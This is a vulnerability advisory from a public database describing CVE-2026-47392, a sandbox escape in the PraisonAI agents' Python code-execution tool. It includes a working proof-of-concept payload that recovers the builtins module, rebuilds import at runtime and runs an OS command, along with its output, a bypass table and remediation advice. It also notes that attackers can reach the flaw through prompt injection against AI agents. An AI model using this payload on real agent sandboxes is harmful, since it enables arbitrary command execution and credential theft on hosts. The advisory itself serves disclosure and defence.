Mend.io Vulnerability Database
The largest open source vulnerability database
What is a Vulnerability ID?
New vulnerability? Tell us about it!
CVE-2026-47392
Published:May 31, 2026
Updated:July 01, 2026
Summary "execute_code()" in "praisonaiagents/tools/python_tools.py" (v1.6.37, subprocess sandbox mode) can be fully bypassed using "print.self" to retrieve the real Python "builtins" module, from which "import" can be extracted via "vars()" and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox. This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 ("type.getattribute" trampoline). *** Severity CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical *** Root Cause Three independent gaps in the AST-based security validation: Gap 1: "self" missing from "_blocked_attrs" In CPython, all built-in functions (C-level functions) have a "self" attribute that returns the module they belong to. The built-in functions in "safe_builtins" ("print", "len", "range", etc.) are the real CPython built-in functions, so "print.self" returns "<module 'builtins' (built-in)>". The "_blocked_attrs" frozenset (line 52) does NOT include "self". The AST check at line 74 only blocks attributes that are IN this set, so "print.self" passes. Gap 2: "vars" not blocked as callable or attribute "builtins.vars(obj)" returns "obj.dict". The function name "vars" is not in the AST "Call" blocklist (line 83: only blocks "exec", "eval", "compile", "import", "open", "input", "breakpoint", "setattr", "delattr", "dir"). And "vars" is not in "_blocked_attrs" for attribute access. So "b.vars(b)" (where "b" is the builtins module) returns "builtins.dict" — a dict containing ALL built-in functions including "import", "exec", "eval", "open", etc. Gap 3: AST "Call" check only catches "ast.Name" nodes The dangerous-call check (line 82-88) only fires when "isinstance(func, ast.Name)" — i.e., bare-name calls like "exec(...)". It does NOT catch: - Attribute calls: "b.exec(...)" — func is "ast.Attribute" - Subscript calls: "d""exec"" (...)" — func is "ast.Subscript" Gap 4: Runtime string construction bypasses string constant check The string constant check (line 92-98) catches literals like ""import"", but NOT runtime concatenation like """ + "" + "import" + "" + """. The AST sees 5 separate "Constant" nodes ("""", """", ""import"", """", """"), none of which contain any blocked attr as a substring. *** Proof of Concept from praisonaiagents.tools.python_tools import execute_code Exploit: 4 lines, bypasses ALL security layers payload = """ b = print.self d = b.vars(b) key = "" + "" + "import" + "" + "" imp = d[key] mod = imp("os") print(mod.popen("id").read()) """ result = execute_code(code=payload) print(result) Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True} Step-by-step bypass analysis: | Line | AST node | Check | Result | |---|---|---|---| | "print.self" | "Attribute(attr='self')" | "self" in "_blocked_attrs"? | NO → passes | | "b.vars" | "Attribute(attr='vars')" | "vars" in "blocked_attrs"? | NO → passes | | "b.vars(b)" | "Call(func=Attribute)" | "isinstance(func, ast.Name)"? | NO → passes | | """", ""import"" | "Constant(value=str)" | Contains blocked attr? | NO → passes | | "d[key]" | "Subscript" | Not checked | passes | | "imp("os")" | "Call(func=Name('imp'))" | "imp" in blocked calls? | NO → passes | Result: Full sandbox escape → arbitrary command execution *** Impact An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can: - Execute arbitrary commands on the host system - Read/write any file accessible to the process - Exfiltrate environment variables, API keys, and credentials - Pivot to internal networks - Install persistent backdoors *** Affected - Package: "praisonaiagents" (PyPI) - Affected versions: All versions through 1.6.37 (latest) - Component: "praisonaiagents/tools/python_tools.py", "_execute_code_sandboxed()" function - Default configuration affected: Yes ("sandbox_mode="sandbox"" is the default) *** Remediation Immediate fix Add "self" to "_blocked_attrs": _blocked_attrs = frozenset({ ..., 'self', # Built-in functions leak their parent module }) Additional hardening 1. Block "vars" in the callable blocklist 2. Extend the "ast.Call" check to also catch "ast.Attribute" and "ast.Subscript" function nodes 3. Add AST check for "BinOp" string concatenation that could construct blocked attr names Fundamental recommendation Denylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider: - Using "isolated-vm" (Node.js) or WebAssembly-based isolation - Using OS-level sandboxing (seccomp, namespaces, gVisor) - Removing in-process code execution entirely in favor of containerized execution
Affected Packages
https://github.com/MervinPraison/PraisonAI.git (GITHUB):
Affected version(s) >=v0.0.1 <v4.6.40
Fix Suggestion:
Update to version v4.6.40
praisonai (PYTHON):
Affected version(s) >=0.0.1 <4.6.40
Fix Suggestion:
Update to version 4.6.40
praisonaiagents (PYTHON):
Affected version(s) >=0.0.1 <1.6.40
Fix Suggestion:
Update to version 1.6.40
Do you need more information?
Contact Us
CVSS v4
Base Score:
9.4
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
LOW
User Interaction
NONE
Vulnerable System Confidentiality
HIGH
Vulnerable System Integrity
HIGH
Vulnerable System Availability
HIGH
Subsequent System Confidentiality
HIGH
Subsequent System Integrity
HIGH
Subsequent System Availability
HIGH
CVSS v3
Base Score:
9.9
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
CHANGED
Confidentiality
HIGH
Integrity
HIGH
Availability
HIGH
Weakness Type (CWE)
Protection Mechanism Failure
Incomplete List of Disallowed Inputs
EPSS
Base Score:
0.12